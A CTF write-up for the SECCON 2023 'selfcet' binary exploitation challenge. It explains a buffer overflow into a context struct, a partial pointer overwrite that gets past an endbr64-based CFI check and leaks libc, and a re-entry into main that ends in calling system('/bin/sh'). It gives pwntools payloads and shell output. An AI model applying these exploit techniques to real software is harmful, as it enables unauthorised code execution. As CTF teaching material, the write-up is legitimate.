SECCON CTF 2023 Quals - selfcet

I wrote Software CET because Intel CET is not yet widely available.

nc selfcet.seccon.games 9999

Team: HK Guesser

Attachment: selfcet.tar.gz xpl.py

typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...);
} ctx_t;

void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status, ctx->error);
}

...
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));

selfcet let you read into key and buf of the ctx object. Since the size for the read was sizeof(ctx), we’re able to also overwrite the data behind it.

The first read let’s you overwrite everything in the ctx object (since offset is 0 and size is sizeof(ctx)), while the second one also lets you overwrite data behind the ctx object (since offset points to buf object, while size is still sizeof(ctx)).

If we’d been able to leak or control the canary, that could have been used to do a rop chain after the second read_member.

Didn’t find a way to leak the canary, so I went on with a small bruteforce approach (1 nibble had to be bruteforced for this in the first read).

When we overwrite status in read_member, it will call

CFI(ctx->throw)(ctx->status, ctx->error);

Initially ctx->throw will point to err in libc, so this would call err(ctx->status, ctx->error), but will pass the function first to the CFI macro.

#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f)                                              \
  ({                                                        \
    if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
      __builtin_trap();                                     \
    (f);                                                    \
  })

This will basically just check, that the function, that is called here, begins with an endbr64, so we cannot use arbitrary rop gadgets here, but have to call matching functions.

To get a leak, I checked which functions are near err, so that we could call them with a partial overwrite.

(these are local offsets from my debug libc, the exploit uses the correct ones from remote libc)

0x7ffff7eae010 <__GI_warn>:	endbr64 
0x7ffff7eae014 <__GI_warn+4>:	sub    rsp,0xd8
0x7ffff7eae01b <__GI_warn+11>:	mov    QWORD PTR [rsp+0x28],rsi
0x7ffff7eae020 <__GI_warn+16>:	mov    QWORD PTR [rsp+0x30],rdx

...

0x7ffff7eae1d0 <err>:	endbr64 
0x7ffff7eae1d4 <err+4>:	push   rax
0x7ffff7eae1d5 <err+5>:	pop    rax
0x7ffff7eae1d6 <err+6>:	sub    rsp,0xd8
0x7ffff7eae1dd <err+13>:	mov    QWORD PTR [rsp+0x30],rdx
0x7ffff7eae1e2 <err+18>:	mov    QWORD PTR [rsp+0x38],rcx

So, doing a partial overwrite, only overwriting the last 2 bytes of ctx->throw would allow us to call warn instead of err, which will also do output but not exit after printing the data.

So, our first payload looks like this

def exploit(r):
    payload1 = "\x00"*0x20              # key
    payload1 += "C"*0x20                # buf
    payload1 += p64(0x404000)           # error
    payload1 += p64(e.got["read"])      # status
    payload1 += p64(0x40d0)[:2]         # throw

    r.send(payload1)

    r.recvuntil("xor: ")
    LEAK = u64(r.recv(6).ljust(8, "\x00"))
    libc.address = LEAK - libc.symbols["read"]

    log.info("LEAK        : %s" % hex(LEAK))
    log.info("LIBC        : %s" % hex(libc.address))

When the partial overwrite succeeds, this will call warn(e.got["read], 0x404000), which will just print a warning containing a leak to read.got.

[*] LEAK        : 0x7ffff7ea7980
[*] LIBC        : 0x7ffff7d93000

With this leak, we can now call everything from libc in the second payload (and even overwrite the canary and put a rop chain behind the ctx object). At that point, I already thought that we’d need to find a way to leak the canary and do a ropchain, to get around the endbr64 restriction, but didn’t find anything useful for that.

One of the main issues, that we couldn’t do something useful with the remaining payload was, that status was an int32, meaning we wouldn’t be able to pass a 64-bit address as first argument (which would be needed, if we would want to call something like system("/bin/sh"), while using /bin/sh from libc). Also going for execveat wasn’t helpful, since we didn’t control rdx (properly).

If we’d just have one additional call to read /bin/sh to bss (which would be accessable via a 32 bit address) before calling system, this would be easy.

So, let’s just use the second payload to jump back into main!

payload1 = "A"*0x20             # buf
payload1 += p64(0x401209)       # error
payload1 += p64(0x4)            # status
payload1 += p64(libc.symbols["__libc_start_main"])
r.send(payload1)

This will now call __libc_start_main(main), which will just jump back into main, giving us the possibility to do 2 payloads again.

# back in main at first payload
payload1 = "A"*0x20
payload1 += "C"*0x20
payload1 += p64(0x404500)
payload1 += p64(0x404500)
payload1 += p64(libc.symbols["gets"])

r.send(payload1)

pause()

r.sendline("/bin/sh\x00")

This will call gets(0x404500) and the next send will write /bin/sh to 0x405000. Since we now have our path at an address, that can be referenced via a 32-bit address, we can now just call system(0x404500) with the second payload.

payload1 = "A"*0x20
payload1 += p64(0x401209)
payload1 += p64(0x404500)
payload1 += p64(libc.symbols["system"])
r.send(payload1)

which will now trigger a shell.

[*] LEAK        : 0x7f2c75f47980
[*] LIBC        : 0x7f2c75e33000
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] calling main
[*] Paused (press any to continue)
[*] Switching to interactive mode

$ cat flag-eb7297012865f6eede53f56158c52e85.txt
SECCON{b7w_CET_1s_3n4bL3d_by_arch_prctl}

As the flag hints, the intended solution was using prctl, but well :)